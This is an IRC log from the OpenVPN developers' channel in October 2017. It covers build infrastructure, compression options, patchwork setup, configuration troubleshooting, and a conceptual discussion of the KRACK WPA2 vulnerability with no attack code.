<@ordex> v9 will leave no space to payload 04:03 <@ordex> just lots of stuff to decrypt and decapsulate 04:03 <@ordex> matroskaVPN! 04:03 <@ordex> I am sure lev__ will love it 04:03 <@ordex> :D 04:07 <@dazo> lol 04:07 <@dazo> :-D 04:07 <@dazo> It seems we're getting a new Windows developer involved these days ...... 04:07 * dazo is HAPPY! 04:07 <@ordex> oh yes? 04:08 <@dazo> (just hope he won't disappear once his patch series are done) 04:08 <@dazo> -devel ML .... Simon R. 04:13 <@ordex> well, it looks like he is cleaning up the code because he was actually developing there 04:13 <@ordex> so maybe..he has motivation to stay 04:13 <@ordex> :) 04:23 <@dazo> :) 04:23 <@dazo> I didn't look into the change history ... just noticed a bunch of patches :) 04:47 < CRCinAU> dazo: I managed to figure it out :) 04:47 <@dazo> :) 04:47 < CRCinAU> the PHP code I was using was specifying a mkdir permission thingo 04:47 < CRCinAU> the acls were correct. 05:15 < slypknot> cron2: which of my buildbots is the least useful ? I reallly need some RAM back .. 05:16 < slypknot> choice is : Arch, Centos7, Debian8, Gentoo 05:21 < CRCinAU> pffft arch 05:22 < eworm> :-p 05:23 < slypknot> eworm: your the Arch guy right ? .. can you run a buildbot ? 05:24 < eworm> I am 05:24 < eworm> I do manual builds from time to time 05:24 <@dazo> slypknot: I'd say Gentoo or Arch 05:24 < eworm> nothing automated so far 05:25 < slypknot> eworm: buildbot is easy to setup 05:33 < slypknot> dazo: thanks (may have to be gentoo) .. buildbot is doing more builds .. what is the criteria for that, I noticed something on the ML about patches causing auto-builds ? 05:35 <@mattock> slypknot: buildbot only builds the commits that go to Git master 05:35 <@dazo> slypknot: if the buildmaster have not been able to access a buildslave ... it queues up a pile of builds which are started once the slaves becomes available again 05:36 <@dazo> (at least, that's my understanding of it .... I might be wrong, mattock is our real build master ;-)) 05:37 <@mattock> that is the case 05:42 < slypknot> ok .. I see 05:47 < slypknot> eworm: no rush or hassle but do you think you might be able to get a buildbot up on arch ? see : https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 05:47 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 05:50 < eworm> I will have a look. 05:50 * eworm thinks about where to install a buildbot... 05:51 <@cron2> slypknot: just upgrade RAM :) 05:52 < slypknot> I am at max :) 05:54 <@cron2> how much is that? 05:54 <@cron2> maybe the buildslaves can be allocated a bit *less* RAM? 05:54 <@cron2> my buildslaves have between 512M and 1G of RAM... 06:01 <@cron2> (this won't work if you run a gui, but for "ssh in, fire up make / buildbot" this is plenty) 06:03 < slypknot> cron2: max is only 8gb (but it's DDR3 @ 1600mhz) and the Bot VMs have the minimum I can get away with but dynamic RAM is enabled and all VMs support it so they can get a bit more when needed .. but it is all getting too much for the host, I am running with less than 512mb for hyperv host ! 06:03 < slypknot> 512mb spare that is 06:07 < slypknot> if eworm can do arch that would really help ;) 06:09 <@cron2> slypknot: what, 8G max for the full host? sounds like a very old box :-) - my desktop NUC has 16G... 06:10 <@cron2> (you could take turns in booting the buildslaves, though... like only running two at a time for a few hours, and then the other two...) 06:12 < slypknot> yeah right ! what am i a baby sitter ;) 06:12 < slypknot> the pc is I5 .. not sure of real age 06:13 < slypknot> anyway .. debian8 build bot: Oct 12 06:38:17 deb8-hyv-test-64 systemd[1]: buildbot.service: main process exited, code=killed, status=9/KILL 06:13 < slypknot> don't know what caused that .. 06:16 < slypknot> something is very wrong with debian8 buildbot 06:22 < slypknot> rebooted 06:24 <@cron2> a first-generation I5 should do 16G... (says the first-gen i5-740 under my desk :)) 06:24 < slypknot> mine is a laptop 06:26 <@cron2> oh, well, yeah. Laptops tend to have smaller limits 06:34 < slypknot> The machine is really good but that means I keep chucking more things at it ;) so it's getting hot and bothered .. especially when buildbot kicks in ! 06:35 < slypknot> can build-master stagger builds ? 07:02 <@ecrist> ordex: good morning. ;) 07:57 <@dazo> slypknot: My old ThinkPad T61p had an official max of 4GB ... but I replaced the DDR3 modules with 2x4GB ... worked like a charm on that box ... 08:14 < CRCinAU> ok, that's better. 08:38 <@dazo> I sent out this tweet yesterday .... the response is somewhat unexpected .... https://twitter.com/OpenVPN/status/918065206714097664 08:55 <@cron2> cool :) 10:21 * ecrist retweets 20:30 <@ordex> moin 22:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 22:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Fri Oct 13 2017 00:51 < CRCinAU> *crickets* 01:54 <@ordex> CRCinAU: somebody on #openvpn was asking about otp+radius and how not to ask for the pwd upon every renegotiation. maybe you have experience in setting something like that up ? 02:10 < CRCinAU> ordex: yeah - gotta use a token! 02:11 <@ordex> tell him! 02:11 <@ordex> :D 02:11 <@ordex> he's a1fa in #openvpn :) 02:11 < CRCinAU> if I get motivated, and I can easily push shit to a contrib area, I'm thinking of doing LDAP + OTP 02:11 < CRCinAU> and RADIUS + OTP via perl 02:12 < CRCinAU> but for now, only really thinking about YubiKey - where you can store the yubikey ID in LDAP 02:31 < CRCinAU> ordex: tbh, I don't think you can do *any* OTP without switching it for a token 02:31 <@ordex> think so 02:31 <@ordex> otherwise you'd need to input the otp everytime 03:01 < CRCinAU> yup 03:01 < CRCinAU> not just any OTP, the next VALID OTP 08:07 <@dazo> hmmmm .... https://newsroom.intel.com/news/intel-delivers-17-qubit-superconducting-chip-advanced-packaging-qutech/ 08:07 <@vpnHelper> Title: Intel Delivers 17-Qubit Superconducting Chip with Advanced Packaging to QuTech | Intel Newsroom (at newsroom.intel.com) 08:07 <@dazo> syzzer: ^^^ 09:58 <@ordex> mh 19:32 < slypknot> ecrist: https://forums.openvpn.net/viewtopic.php?f=23&t=25028 19:32 <@vpnHelper> Title: compiling and installing the latest openvpn on Raspbian Stretch - OpenVPN Support Forum (at forums.openvpn.net) 19:41 < slypknot> mattock: dazo .. your opinions would also be appreciated ^ 19:43 < slypknot> novaflash: how's your shed ? 22:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 22:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:17 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Sat Oct 14 2017 05:30 <+novaflash> slypknot: hi 05:30 <+novaflash> my shed? it's still there. how's your shed? 08:27 <@cron2> my bike shed is brown 08:42 < slypknot> my bike shed is now a bbq-pit and smoker 08:42 < slypknot> cron2: just bought up a deb9 VM and am trying to build openvpn master .. getting some errors to do with openssl 08:43 < slypknot> openssl 1.1.0f 08:43 < slypknot> libssl-dev is already the newest version (1.1.0f-3). 08:44 < slypknot> https://paste.fedoraproject.org/paste/NVftU3nqWg1czZ71a6y5HA 08:45 < slypknot> make appears to have completed successfully tho 08:54 <@cron2> these *warnings* ("errors" are things that have "error:" or "fatal:" before them, not "warning:") seem to hint at some confusion inside openssl about use of "const" - BIO_f_ssl() isn't ours, neither is getbio() - but that's something syzzer or ordex are more qualified to interpret 08:54 <@cron2> if "make check" succeeds, or crypto should be good 08:56 < slypknot> i don't appear to be able to --enable-systemd .. I have all the libs required and configure --enable-systemd && make all work but the binary says: enable-systemd=no 08:56 < slypknot> i'll try again 08:58 < slypknot> nope .. systemd not enabled 09:03 < slypknot> 2make check" succeeds .. testing systemd now 09:24 < slypknot> well .. openvpn works under systemd on debian9 but the binary compiles with enablke-systemd=no even tho ./configure --enable-systemd is used .. so something has gone quite wrong i think 09:31 <@cron2> configure output might have hints here 09:34 < slypknot> ./configure --enable-systemd && make && --version : https://paste.fedoraproject.org/paste/FrJW1U~Fg9Q7m04T12TGrA 09:38 < slypknot> looks ok to mee .. 09:38 < slypknot> checking for libsystemd... yes 09:38 < slypknot> checking systemd/sd-daemon.h usability... yes 09:38 < slypknot> checking systemd/sd-daemon.h presence... yes 09:38 < slypknot> checking for systemd/sd-daemon.h... yes 09:39 < slypknot> but .. enable_systemd=no 09:53 <@cron2> speaking about funny computers... (and sheds)... https://www.youtube.com/watch?v=45X4VP8CGtk 10:13 <@ordex> lol 10:14 <@ordex> this reminds of me when I bought a U2-format server with dual xeon and 6 scsi disks with raid on ebay for 32 EUR 10:14 <@ordex> :D 10:15 <@ordex> it ended up being my cocktail holding table during parties 10:15 <@ordex> :D 10:19 < slypknot> dazo: systemd fun for you above ^^ 10:36 < slypknot> no wonder this is not getting any interest .. today is saturday ! .. I was convinced it was Monday ! 10:36 * slypknot is off to the pub ! 10:36 < CRCinAU> mmmm beer 10:36 < slypknot> ;) 10:36 < CRCinAU> want. 10:50 < slypknot> erm .. can the server support "comp-lzo yes" for some clients AND "compress lz4" for others at the same time ? 10:50 < slypknot> it looks like it works 10:55 < slypknot> I mean: I have it working but is it meant to be able to ? 10:59 <@cron2> slypknot: by use of ccd/ or client-connect scripts, yes 10:59 <@cron2> on its own, there is no logic to figure it out in the server 11:00 <@cron2> the client sends IV_ flags for "what compression algorihms are supported?" and the client-connect script can then create "compress foo / push compress foo" statements accordingly 11:00 <@cron2> or if you know, just put it into static ccd/ files 11:03 < slypknot> cron2: thanks .. i am using --client-connect and a dynamic script to choose compression per client by name (and other filters) .. I just wanted to make sure that this is intended to work :) 11:05 <@cron2> of course :) 11:06 < slypknot> anany thoughts about that systemd thing ? 11:21 < CRCinAU> wait 11:21 < CRCinAU> what's the deal with compression now? 11:21 < CRCinAU> I still use: 11:21 < CRCinAU> comp-lzo yes 11:21 < CRCinAU> push "comp-lzo yes" 11:25 < slypknot> compress lz4 is the new thang ! 11:25 < slypknot> but 2.3.x do not support lz4 and probably never will 11:25 < slypknot> but the server can cope if the admin has enough grey matter to light a fire 11:26 < CRCinAU> hrrrm 11:26 < CRCinAU> is lz4 better than lzo? 11:27 < slypknot> well .. it is much newer .. so i would imagine so 11:28 < slypknot> altho it does depend on the data you're sending over the vpn .. not much point if you are watching youtube 11:28 < CRCinAU> does adaptive work with lz4? 11:28 < slypknot> no 11:29 < slypknot> maybe lz4 has that logic built in 11:30 < CRCinAU> hrrrm 11:31 < CRCinAU> whut 11:31 < CRCinAU> The algorithm gives a slightly worse compression ratio than the LZO algorithm – which in turn is worse than algorithms like gzip. However, compression speeds are similar to LZO and several times faster than gzip while decompression speeds can be significantly faster than LZO. 11:32 < slypknot> where is that from ? 11:33 < CRCinAU> wikipedia 11:33 < slypknot> ok 11:35 < slypknot> --compress can still do lzo 11:35 < slypknot> --compress lzo/lz4 11:36 < CRCinAU> yeah 11:37 < CRCinAU> I'm just wondering if it'd be better with compress lzo for only a 10Mbit link 11:52 < slypknot> i guess it depends on the data and usage 12:41 <@cron2> James says lz4 is the thing - very little CPU usage (good for battery) and he claims better compression ratio than lzo 13:16 <@cron2> CRCinAU: have you seen this one? https://plus.google.com/+TheodoreTso/posts/h4726FEVTjg (since you're working on credit card stuff...) 15:32 < slypknot> If you ever read Shrodinger's cat .. to me all this quantum computing just stinks of alchemy .. like before we knew you could not turn lead into gold it seemed plausable = before we knew quantum computing was bollocks we tried so hard and paid so much and fed so few and burned the fuel and fuck who cares .. because they want their quantum computer in a box .. and we really don't know even if such a 15:32 < slypknot> thing is possible and even if it is what sort of question a "1/0" can do better than some really virtual "1 or 0" can already do .. I just don't buy it 15:36 < slypknot> the quantum state requires that it not be measured .. cos as soon as you do it collapses ! 15:38 < slypknot> for example : make enough Qbits to work out Pi to inifinity .. even if that were possible .. where do you store the result ? 15:46 < slypknot> and normal 1 & 0 are doing that job any way 15:46 < slypknot> so .. primes .. hmm 15:57 <@cron2> the interesting part of q-computers is not general purpose computing, but "you do multiple things in parallel", like "try all possible values for the key at once" 15:58 < slypknot> yeah .. i do get the idea .. 15:58 <@cron2> I can explain quantum mechanics, to some extent, but admit to not understanding quantum computing - but the principle "since the wave form is all-at-once, you could use to to test all-in-one-go" has merits 15:59 < slypknot> the idea has value .. but there is something very fishy about "how to extract the results" 16:00 < slypknot> if you pump in "classic data" how do you compare that to "Qdata" 16:00 < slypknot> ? 16:01 < slypknot> how do you actually get the qdata into a classic form to do a compare 16:01 <@cron2> I assume it goes along "the waveform collapses to ordinary bits, giving you the key" 16:01 < slypknot> indeed .. and so if fail then reset and do the next 16:01 <@cron2> you turn key breaking into a measurement -> 0/1 superposition is determined 16:02 <@cron2> but I need to ask syzzer for more details 16:02 < slypknot> ;) 16:02 < slypknot> always check your source :D 16:03 < slypknot> this "super position -> desired result" in one step is what bothers me .. we could make a table (we are) of all known primes as high as you can get a computer to count .. and then feed them in one by one .. 16:05 < slypknot> but this idea of instantaneously finding the right prime on account of "super-position" or the wave function or what ever .. is all nonsense 16:05 <@cron2> don't call things nonsense that you do not grok - feel free to call them "I cannot imagine how this works" 16:05 < slypknot> sure ; 16:05 <@cron2> quantum physics is also very much unimaginable, until you see proof that it works exactly the way math has predicted 16:06 <@cron2> like, electrons being particle and wave form at the same time 16:06 <@cron2> s/electrons/photons/, gah, should go to bed 16:07 < slypknot> ;) 16:07 < slypknot> there is proof of things like super conduction etc .. which more or less proves that quantum physics is real and not just a feverred dream 16:08 < slypknot> I feel like i still am looking for a clue or a hint as to how they go about actually extracting meaning full data from what is essentially noise 16:09 < slypknot> cron2: I watched that video you posted which lead me on this merry dance ! 16:10 <@cron2> now I'm very curious how *that* path came to be 16:10 < slypknot> youtube .. run by google .. see google data centre for answers ;) 16:12 < slypknot> by the way .. electrons do also 16:13 < slypknot> cron2: ^ 16:15 <@vpnHelper> RSS Update - gitrepo: Simplify iphlpapi.dll API calls <https://github.com/OpenVPN/openvpn/commit/a5d73667ffebea93960c135322aa3a8d0fd70d7a> 16:18 < slypknot> ie. https://en.wikipedia.org/wiki/Scanning_tunneling_microscope 16:18 <@vpnHelper> Title: Scanning tunneling microscope - Wikipedia (at en.wikipedia.org) 17:15 < slypknot> ecrist: please fix [list] on the forum 17:16 < slypknot> [list] to bullet or not ? 17:48 < slypknot> https://www.youtube.com/watch?v=m4q5sb7WlQ4 17:53 < slypknot> https://www.youtube.com/watch?v=MoqxphFukTQ 17:54 * slypknot shuts the spam off 21:51 <@ordex> moin 22:01 < CRCinAU> cron2: yeah - I saw that - and how the credit card systems work, I'm so not surprised ;) 23:05 <@ordex> mah thphoon again here 23:05 <@ordex> *typhoon 23:05 <@ordex> hopefully the last of the season --- Day changed Sun Oct 15 2017 06:42 < slypknot> possibly someone would like to investigate this before i delete it : https://forums.openvpn.net/viewtopic.php?f=33&t=25033 06:42 <@vpnHelper> Title: Buy counterfeit money, (SSD SOLUTION ) and potassium cyanide cleanpaperz@gmail.com - OpenVPN Support Forum (at forums.openvpn.net) 06:46 < slypknot> ecrist: ^ 07:12 < CRCinAU> slypknot: delete, ban account ;) 07:56 < slypknot> CRCinAU: goes without saying .. but on this occasion I wonder if openvpn.net would like to report this felon to the appropriate authorities 08:40 < CRCinAU> eh 08:47 < slypknot> cron2: dazo Re: that --enable-systemd -> enable-systemd=no .. I just redid the whole thing from scratch and this time it works as normal. No idea what i did wrong before :/ 14:51 < slypknot> pffaw .. actually figured out what it was .. forgot to install pkg-config and didn't notice the error in the log 15:39 < slypknot> ecrist: i now understand i can delete them but they are still visable to mods 15:40 < slypknot> hmm maybe not .. only reported posts ? 15:42 < slypknot> meh .. nvm --- Day changed Mon Oct 16 2017 03:17 <@mattock> cron2: care to register to patchwork so that we can start assigning patches to you? :) (https://patchwork.openvpn.net/) 03:17 <@vpnHelper> Title: OpenVPN 2 - Patchwork (at patchwork.openvpn.net) 03:17 <@mattock> the instance should be good for the general public now 03:27 <@mattock> patchwork linked to from the main Trac page (replaced link to the old patch status wiki page) 03:34 <@ordex> we should also modify the committing scripts to include the patchwork header when sending the 'applied' email 04:52 <@dazo> ordex: mattock: what is the mail header needed? 04:53 <@dazo> I can easily update the script ... but cron2 will need to pull it too ;-) 04:53 <@ordex> dazo: wait..it should be in the patchwork doc 04:53 <@dazo> *sigh* you expect me to RTFM!?!?! :-D 04:56 <@ordex> :D 04:57 <@ordex> not really 04:57 <@ordex> :D 04:57 <@ordex> dazo: https://patchwork.readthedocs.io/en/latest/usage/headers/ 04:57 <@vpnHelper> Title: Hint Headers Patchwork 2.0-alpha documentation (at patchwork.readthedocs.io) 05:01 <@mattock> yep, I have not changed any of the header defaults 05:03 <@dazo> ahh, okay ... if you think not really :) 05:03 <@dazo> hmmmm .... WPA2 might be broken .... https://www.krackattacks.com/ 05:03 <@vpnHelper> Title: KRACK Attacks: Breaking WPA2 (at www.krackattacks.com) 05:04 <@dazo> another reason to run OpenVPN with --redirect-gateway on any non-self-managed WLANs :-P 06:43 < CRCinAU> another reason to go 'meh' 07:31 <@ecrist> slypknot: if you don't check "delete permanently" the post is only visible to mods/admins 08:13 < slypknot> ecrist: i dont have a "delete permanently" check box .. ? 08:17 <@cron2> dazo: yeah, and this is why our corp WLAN is basically "we do not really care if you break in, all you are allowed from here is 'Internet'" (so if you want to get into the corp net, use OpenVPN from corp wifi to corp vpn server) - so I'm totally relaxed 08:17 <@cron2> ... and I can sneer at those guys who always complain that this is so complicated and we should have a proper "secure!" wifi that has direct access to $stuff... 08:18 <@dazo> heh ... yeah 08:19 <@dazo> could even consider to even require VPN to get Internet access too ... then you could even just drop crypto on the WLAN all together 08:37 <@ecrist> At old job, we used to provide only internet at the office. The office wasn't any different than your home, other than we provided space, printers, and a water cooler. 08:37 <@ecrist> Whether you were home or at the office, you had to use the VPN to get to any of our resources. 08:48 <@cron2> someone will listen on the Internet anyway, so that part is somewhat overdoing it 09:00 <@ordex> btw, this attack is not about breaking into the network, but basically it makes it easy for a rogue device to become your AP even though you have a WPA protected network and the WPA-PSK is uknown to the attacker. this means that the attacker can play any kind of MITM attack at that point because it will be your AP. os basically it is the same as having no WPA at all from this perspective (Except that 09:00 <@ordex> without WPA you can also sniff traffic from evebybody else) 09:05 <@cron2> so the initial WPA handshake is "passed through", and the session key is negotiated independently for "left" and "right"? 09:06 <@ordex> no, the mitm is at the network layer 09:07 <@ordex> the rogue AP becomes the user's GW as it will look like the real AP 09:07 <@ordex> and then you can just do mitm as everything is passing across you. but the mitm is independent from the wpa bug 09:07 <@ordex> the wpa bug simply helps you getting into an easy spot for performing it 09:10 <@ordex> the attack by itself is simply expressed in this sentence: a rogue AP can, without knowing the wpa-psk of a network, impersonate a real AP of that network and have a client connect without any suspect 09:10 <@ordex> then, once the rogue AP sits in that position it can do all the things hat have always been done by a standard rogue AP 09:10 <@ordex> *that 09:11 * ordex hopes he managed to convey the message clearly :P 09:14 <@cron2> ordex: ah, so the rogue AP is not actually able to join the network? 09:15 <@ordex> correct 09:15 <@cron2> ic, so it's not that bad, but bad enough 09:15 <@ordex> the attack is not like a usual wifi attack, where you discover the psk 09:15 <@ordex> yeah 09:15 <@ordex> you can basically force the client to use a predefined key, thus allowing the rogue ap to talk to it, without the client to notice the problem 09:15 <@ordex> but the original psk is safe 09:30 <@dazo> KRACK itself is not devastating - as PSK is safe, but in the moment you couple it with other things (like sslstrip), things can get really nasty - especially when considering the amount of cloud based services being deployed around in many companies ... a local closed network is often less critical for many companies today. Only those who really manage to contain critical data internally is fairly safe in regards to those internal data 09:30 <@dazo> clusters. 09:31 <@ordex> yeah 09:32 <@ordex> however, if we are worried about krack today, we should have been worried for *every* open wifi network yesterday 09:32 <@ordex> but apparently not many did .. :/ 09:33 <@dazo> lol ... true! 09:33 <@dazo> Actually, the Regus wireless network (where I have my office) uses unencrypted WLANs by default 09:33 * ordex faceplam 09:34 <@ordex> actually in HK many companies do the same BUUUUTT the government is much smarter 09:34 <@dazo> you're forced through a log-in page, to connect your hardware to an account 09:34 <@ordex> wheere the govt deployes a network it deployes 2 SSID: one open and one not 09:34 <@ordex> the one open only tells you to connect via WPA to the other one 09:34 <@ordex> :D 09:34 <@ordex> although by knowing the PSK I think you may play the rogue AP game again anyway 09:34 <@ordex> yeah you can 09:34 <@ordex> damn 09:35 <@dazo> well, the alternative is wired connection ... but both ends up with the same public IP .... so if you want to have a secured LAN (or WLAN for that matter), you need to do it yourself 09:35 <@ordex> wifi is broken! 09:35 <@dazo> (after all, Regus is just providing office space with Internet ... not a secured network) 09:35 <@ordex> hehe yeah 09:35 <@ordex> btw Regus is really all over the world :P 09:36 <@dazo> yeah :) 09:36 <@dazo> for the temporary move we did, I could move my contract to the new location without much hassle at all ... so I like this flexibility :) 09:37 <@ordex> :) 09:37 <@ordex> you got a private room? or you are in a coworking space? (I think regus does only private rooms?) 09:37 <@dazo> coworking 09:37 <@ordex> ah cool! 09:38 <@dazo> with access to a "coworking meeting room" a few hours every week, but you need to sign up for the room on the day you need it ... but that's usually worked out quite fine for me 09:39 <@dazo> cron2 would probably claim that it's not too good networking here, as it lacks IPv6 .... but except of that, Internet access is fairly good 09:39 <@ordex> :D 09:40 <@dazo> (and I was actually impressed that the network sign-in I had to do first for my devices worked without any re-login when I arrive new office locations - including cross countries) 09:44 <@cron2> if there is no v6, there is no Internet. There might be legacy network access, tho... 09:48 <@ordex> :D 09:48 <@ordex> hahha 09:48 <@ordex> well said! 09:50 <@dazo> :-D 10:22 < slypknot> http://lists.infradead.org/pipermail/hostap/2017-October/037989.html 10:22 <@vpnHelper> Title: WPA packet number reuse with replayed messages and key reinstallation (at lists.infradead.org) 10:25 <@ordex> slypknot: old 10:25 <@ordex> :D 10:28 < slypknot> ordex: Published: October 16, 2017 10:29 <@ordex> slypknot: it's almost 17th here 10:29 <@ordex> old!! 10:29 <@ordex> :D 10:30 <@ordex> slypknot: just saying we have discussed this some hours ago 10:30 < slypknot> :P 10:30 <@ordex> scroll up :P 10:30 < slypknot> i know .. I was going further 10:31 < slypknot> looking for a patched version for linux 10:31 * slypknot now wonders about windows 12:59 <@ecrist> So, a guy at work so far has the best moniker for this WPA2 exploit: The WAPpening 14:25 < slypknot> dazo: would you mind checking this please : https://forums.openvpn.net/viewtopic.php?f=4&t=25039&p=73492#p73492 14:25 <@vpnHelper> Title: Setting correct MTU - OpenVPN Support Forum (at forums.openvpn.net) 14:33 < Luqman> Hello 14:34 < Luqman> What does the V4 sent as part of the key material exchange represent? OpenVpn version? 2.x? 19:46 < CRCinAU> yay 19:46 < CRCinAU> Updating: 19:46 < CRCinAU> openvpn x86_64 2.4.4-1.el7 epel 457 k 19:46 < CRCinAU> Installing for dependencies: 19:46 < CRCinAU> lz4 x86_64 1.7.3-1.el7 epel 82 k 19:47 <@ordex> :O 22:50 <@vpnHelper> RSS Update - tickets: #947: Solaris 11 and "error: no tap header could be found" <https://community.openvpn.net/openvpn/ticket/947> 22:56 <@ordex> Solaris 11 .... omg 22:56 <@ordex> are people really using these platforms? 22:56 <@ordex> wow 23:11 < CRCinAU> yep :\ --- Day changed Tue Oct 17 2017 02:19 <@cron2> ordex: you can throw that ticket my way 02:21 <@ordex> cron2: the one about solaris? 02:22 <@cron2> yep, I have notes somewhere where to find the tap driver to install (not part of the base OS) 02:22 <@ordex> alright, reassigning.. 02:23 <@ordex> mattock: is it you that normally updates https://community.openvpn.net/openvpn/wiki/IrcMeetings ? 02:23 <@vpnHelper> Title: IrcMeetings – OpenVPN Community (at community.openvpn.net) 02:58 <@ordex> mh patchwork already has 32 patches in list. cool 02:58 <@ordex> nice overview 03:28 <@mattock> ordex: yes it is 03:46 <@ordex> I updated the irc meeting page 03:53 <@cron2> ordex, mattock: does it understand the patches that have been merged? 03:54 <@ordex> cron2: it needs a special header to be present in the email applying it 03:54 <@ordex> https://patchwork.readthedocs.io/en/latest/usage/headers/ << I think dazo has applied (wanted to apply) the header to the script you normally use 03:54 <@vpnHelper> Title: Hint Headers Patchwork 2.0-alpha documentation (at patchwork.readthedocs.io) 03:55 <@ordex> if the email has already been sent .. either you bounce it with the new header to patchwork only, or you go on patchwork and change the status manually 04:28 <@ordex> syzzer: will you be able to join the next meeting on wednesday night ? maybe not :P 09:30 < CRCinAU> yay :) 11:23 <@dazo> cron2: (ordex) ... I've updated my misc-git-tools repo to contain this mail header 11:23 <@dazo> https://gitlab.com/dazo/misc-git-tools 11:23 <@vpnHelper> Title: David Sommerseth / misc-git-tools · GitLab (at gitlab.com) 12:07 < slypknot> dazo: ping 13:23 <@dazo> slypknot: pong 13:28 < slypknot> dazo: hi .. there is an interesting error in this post : https://forums.openvpn.net/viewtopic.php?f=4&t=25039#p73492 ( see my last comment) thanks for your help :) 13:28 <@vpnHelper> Title: Setting correct MTU - OpenVPN Support Forum (at forums.openvpn.net) 13:28 < slypknot> WARNING: 'mtu-dynamic' is present in remote 13:29 < slypknot> I get the feeling it is pointing to something stranger happening and I though someone might like to know 13:31 <@dazo> this MTU stuff is quite confusing to me, to be honest 13:32 <@dazo> I need to learn a bit more on how openvpn handles these things before I dare jump into that one .... otherwise I may actually end up confusing people even more :) 13:32 < slypknot> ok .. but that message is a bit strange because using mtu-dynamic terminates openvpn .. so how can the remote string have it ? 13:33 < slypknot> anyway .. there is definitely something odd going on 13:41 <@dazo> slypknot: yeah, getting complete server and client logs with --verb 4 could be more revealing ... then you also see some of the active config options very early, and you can peek at the PUSH_REPLY messages 13:42 < slypknot> dazo: yeah .. i'll ask for them .. thanks for taking a look :) back soon g2g4now 15:43 < slypknot> using --keepalive wich side initiates a "ping" or is it just as timer expires (eg 20 seconds) each side simply sends a p 15:43 < slypknot> ping .. they dont do a echo/echo reply 15:45 < slypknot> I am wondering if it would sound appealing for the client to always send the "ping" thereby opening any NAT ports that have expired and the server always "replies" ? 15:50 <@cron2> dazo: so patchwork will know which patch is accepted by means of the References: or In-Reply-To: header, right? 15:53 <@dazo> cron2: yeah, when it sees that mail-header line ... that's the theory at least :) 15:56 <@dazo> slypknot: it could help ... but on battery powered devices (phones, tables) this will be a battery drain 15:57 < slypknot> dazo: thanks for answer .. but infact if you do it right you could have something like --keep alive 300 1200 15:57 < slypknot> and --float could take care of port changes 15:57 < slypknot> the client always has egress but the server may not have ingress 15:58 <@dazo> yeah, might be .... these ugly NAT routers which breaks connections is not something I have much experience with 15:59 < slypknot> i might stick it on trac as a feature ;) 16:01 < slypknot> i'll do a few tests first 16:12 <@dazo> I don't think we're going to change this to a default ... we can rather document it better, if your testing looks good 16:15 < slypknot> well .. if openvpn is not changed then even documenting the issue won't chenge the outcome but im gonna test it anyway 16:49 < slypknot> hehe .. peer 2 (v3.ec.hell.cli.imp) floated from x:2053 to [AF_INET]x:2805 16:49 < slypknot> --keepalinve 300 600 16:52 < slypknot> ah-ha ! now I see ;) 18:58 <@ordex> CRCinAU: https://crocs-muni.github.io/roca/ https://www.yubico.com/keycheck/ 18:58 <@vpnHelper> Title: Public disclosure: Vulnerable RSA generation CVE-2017-15361 | roca (at crocs-muni.github.io) 19:44 < CRCinAU> yeah - doesn't matter for me... my key doesn't do any pgp type stuff - its too old ;) 19:45 < slypknot> lmfao 19:45 < slypknot> that's a great defence 19:48 < CRCinAU> its a gen 1 yubikey ;) 19:49 < CRCinAU> I'm wondering what would die first.... a yubikey or an old nokia.... 19:49 < slypknot> To ensure the YubiKey 4 offers strong security for all functions, Yubico switched to a different, broadly scrutinized and deployed key generation function. All YubiKey 4 products shipped by Yubico after June 6, 2017 (version 4.3.5 or higher) use this new implementation. 19:51 < slypknot> i know the feelin' i got this old netscream that has aknown flaw 19:54 * slypknot has all known Krackattacks covered .. in one day ! 19:55 < slypknot> that is two days to ordex 19:55 <@ordex> :D 19:55 <@ordex> right 19:59 < slypknot> ordex: WARNING: 'mtu-dynamic' is present in remote .. etc 19:59 <@ordex> ? 20:00 < slypknot> https://forums.openvpn.net/viewtopic.php?f=4&t=25039#p73492 20:00 <@vpnHelper> Title: Setting correct MTU - OpenVPN Support Forum (at forums.openvpn.net) 20:00 < slypknot> i don't understand it myself ... but there is some weird stuff going on 20:01 < slypknot> i am sure you looked already but are not interested 20:02 < slypknot> i understand MTU .. but 20:06 <@ordex> never seen that message 20:06 <@ordex> 'mtu-dynamic' is an option? 20:07 < slypknot> the weird ting about that post is WARNING: 'mtu-dynamic' is present in remote config but missing in local config 20:07 < slypknot> it is *not* possible to specify --mtu-dynamic .. it will cause a FATAL error 20:08 < slypknot> --mtu-dynamic *was* an option .. now replaced by --fragment 20:08 < slypknot> i think the code sort of "bleeds over" .. i dont know enough C 20:13 < slypknot> i have not tested yet myself .. but i think one sided --fragment may throw this somehow 20:14 < slypknot> or maybe just --fragment 20:18 <@ordex> ah 20:18 <@ordex> maybe it's just a wrong text message 20:18 <@ordex> orrr 20:18 <@ordex> it sends mtu-dynamic in the occ for compatibility reasons 20:19 < slypknot> i am only the messanger .. 20:20 < slypknot> :D 20:21 < slypknot> i was considering adding this issue to the meeting schedule .. but i am sure you understand it better 20:36 < slypknot> if a meeting can result in reasonable answer that would do .. --compress vs --comp-lzo would be another ... this "framing" does not work properly for me 20:37 < slypknot> 2.3 is looking like a seriously viable preference 20:42 * slypknot is asleep now 20:43 <@ordex> slypknot: my understanding was that -comp-lzo should be 'forgotten' if possible, no? 21:32 < CRCinAU> ordex: iirc, replace with: compress lzo 21:32 < CRCinAU> or, I guess: compress lz4 21:32 <@ordex> think so 21:32 <@ordex> yeah 21:42 <@ordex> slypknot: check options.c:3582 21:43 <@ordex> slypknot: mtu-dynamic is specified when FRAGMENT is enabled 21:43 <@ordex> so the mismatch is due to one of the peers not having such support 21:43 <@ordex> the name of the options probably stayed mtu-dynamic for backward compatibility, but it is actually referring to FRAGMENT --- Day changed Wed Oct 18 2017 00:25 < CRCinAU> so.... 00:25 < CRCinAU> "Smart Lock for Passwords" or Keepass? 00:36 < CRCinAU> or Lastpass even 01:02 <@ordex> whut? 01:30 < CRCinAU> as a password store 01:45 <@ordex> I use MyBrain[tm] 01:45 <@ordex> :P 02:09 <@ordex> cron2: did you register to patchwork? :) 02:14 < CRCinAU> 